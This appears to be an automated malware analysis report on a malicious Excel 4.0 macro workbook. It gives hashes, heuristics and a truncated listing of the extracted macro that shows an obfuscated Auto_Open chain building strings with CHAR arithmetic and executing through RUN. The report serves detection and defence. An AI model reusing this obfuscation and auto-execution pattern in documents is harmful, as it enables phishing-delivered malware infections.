Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bbfe56c5fcaeafce…

MALICIOUS

Office (OLE)

230.0 KB Created: 2020-05-15 07:01:19 Authoring application: Microsoft Excel First seen: 2020-09-07
MD5: 2528129085f3784d2019724f638adb10 SHA-1: 63662d50114452d6748fa70a798a15bade669233 SHA-256: bbfe56c5fcaeafce147bf6beadee2f8506d45839a86238b659f966c631bf802c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The critical heuristics indicate the presence of obfuscated Excel 4.0 macros with an Auto_Open execution chain. The macro script contains a RUN command, which is likely used to execute a downloaded payload. The obfuscated nature and the Auto_Open entry suggest a malicious document designed to execute arbitrary code upon opening.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAIN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 128222 bytes
SHA-256: 7f83366941e29dca365fe5c9c10b481f5fae1ef6cce63bd979cbf4d1c662017b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  Sheet
' 0018     28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d  Sheet!GK63541 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' Sheet,Reference,Formula,Value
'  Sheet,FJ8,"",74.00000000000000000000
'  Sheet,HZ43,"",-0.23958333333333334259
'  Sheet,IL48,"",821.25000000000000000000
'  Sheet,GJ57,"",-101.00000000000000000000
'  Sheet,CV78,"",-6.85714285714285676221
'  Sheet,ID96,"",-1024.20062499999994543032
'  Sheet,BM201,"",-1.11428471428571440605
'  Sheet,FT229,"",-1.52941176470588224845
'  Sheet,CC262,"",3.78350515463917513870
'  Sheet,HB292,"",19.57978723404255205764
'  Sheet,HO313,"",237.00000000000000000000
'  Sheet,IK326,"",1024.20062499999994543032
'  Sheet,DP356,"",82.00000000000000000000
'  Sheet,HU362,"",-105.00000000000000000000
'  Sheet,IS426,"",319.00000000000000000000
'  Sheet,CB455,"",442.00000000000000000000
'  Sheet,JJ496,"",-0.78846153846153843592
'  Sheet,GF507,"",350.00000000000000000000
'  Sheet,CE509,"",-1.00645161290322571190
'  Sheet,FX625,"",-300.00000000000000000000
'  Sheet,CB629,RUN(ET42246),""
'  Sheet,GJ668,"",306.00000000000000000000
'  Sheet,CH673,"",-1.31372549019607842702
'  Sheet,CS675,"",1.06951871657754016276
'  Sheet,CW699,"",421.00000000000000000000
'  Sheet,ER796,"",371.00000000000000000000
'  Sheet,CX802,"",-1073.20062499999994543032
'  Sheet,DH814,"",1003.20062499999994543032
'  Sheet,FM826,"",1014.20062499999994543032
'  Sheet,CK859,"SET.VALUE(EE64595,-464.00000000000000000000-GET.CELL(8,DL38252)*8)",""
'  Sheet,CK860,GOTO(GK1726),""
'  Sheet,BZ864,"",-2.43750000000000000000
'  Sheet,DF887,"",4.41935483870967704689
'  Sheet,GB964,"",144.00000000000000000000
'  Sheet,JI1033,"",424.00000000000000000000
'  Sheet,DI1056,"",269.00000000000000000000
'  Sheet,CG1060,"",383.00000000000000000000
'  Sheet,JO1090,"",-7.42857142857142882519
'  Sheet,Q1124,"",-0.23125015258789061168
'  Sheet,IC1225,"",-146.60007812500001023182
'  Sheet,CN1235,"",-0.52173913043478259421
'  Sheet,HP1318,"",-2.93877551020408178672
'  Sheet,JL1348,"",-293.00000000000000000000
'  Sheet,EF1371,"",0.22045454545454545858
'  Sheet,BN1494,"",-5.71428571428571441260
'  Sheet,GI1617,"",-2.19540229885057458503
'  Sheet,FQ1693,"",-2.34000122070312510658
'  Sheet,GK1726,"FORMULA(CHAR(CX15929*HW54731)&CHAR(EV18496/IL29107)&CHAR(I8486+HJ59436)&CHAR(I8486*L63981)&CHAR(I8486*IX28160)&CHAR(CX15929-JH49704)&CHAR(EE64595+X58901)&CHAR(EV18496*IT1899)&CHAR(JO36747-HT15795)&CHAR(CY53081/CU6518)&CHAR(CK45159/JU34309)&CHAR(CX15929*JO6177)&CHAR(CX15929-P39783)&CHAR(JO36747+JS26077)&CHAR(CK45159+BD57850)&CHAR(CX15929-GB64489)&CHAR(JO36747-DV63805)&CHAR(HK35762-IN64579)&CHAR(CM40849-HX5335)&CHAR(EE64595/BZ11420)&CHAR(BA4635+HX55285)&CHAR(CM40849+EL3584)&CHAR(BA4635/DH30441)&CHAR(EE64595/BM61264)&CHAR(CX15929+EX25819)&CHAR(CK45159/BL40033)&CHAR(EV18496-CN47058)&CHAR(CK45159*BG53277)&CHAR(CX15929*FH34983)&CHAR(CK45159+D26657)&CHAR(CK45159*EG64639),IK1908)",""
'  Sheet,GK1727,GOTO(HJ26579),""
'  Sheet,HA1776,"",-74.00000000000000000000
'  Sheet,HN1830,"",-296.00000000000000000000
'  Sheet,N1850,"",164.60015624999999772626
'  Sheet,GF1851,"",-159.00000000000000000000
'  Sheet,JT1884,"",-0.18421052631578946346
'  Sheet,IT1899,"",0.27520435967302453451
'  Sheet,IF1911,"",246.00000000000000000000
'  Sheet,FT1917,"",-0.77611940298507464675
'  Sheet,BG1937,"",-571.00000000000000000000
'  Sheet,FB1937,"",235.00000000000000000000
'  Sheet,JT1995,"",-141.60007812500001023182
'  Sheet,BV2086,"",204.60015624999999772626
'  Sheet,FE2089,"",1.22994652406417115387
'  Sheet,GQ2092,"",92.00000000000000000000
'  Sheet,HR2162,"",-1.00000000000000000000
'  Sheet,FB2199,"",89.00000000000000000000
'  Sheet,GK2340,"",11.51752577319587622640
'  Sheet,FG2358,"",284.00000000000000000000
'  Sheet,ER2373,"",4.38392857142857117481
'  Sheet,BC2
... (truncated)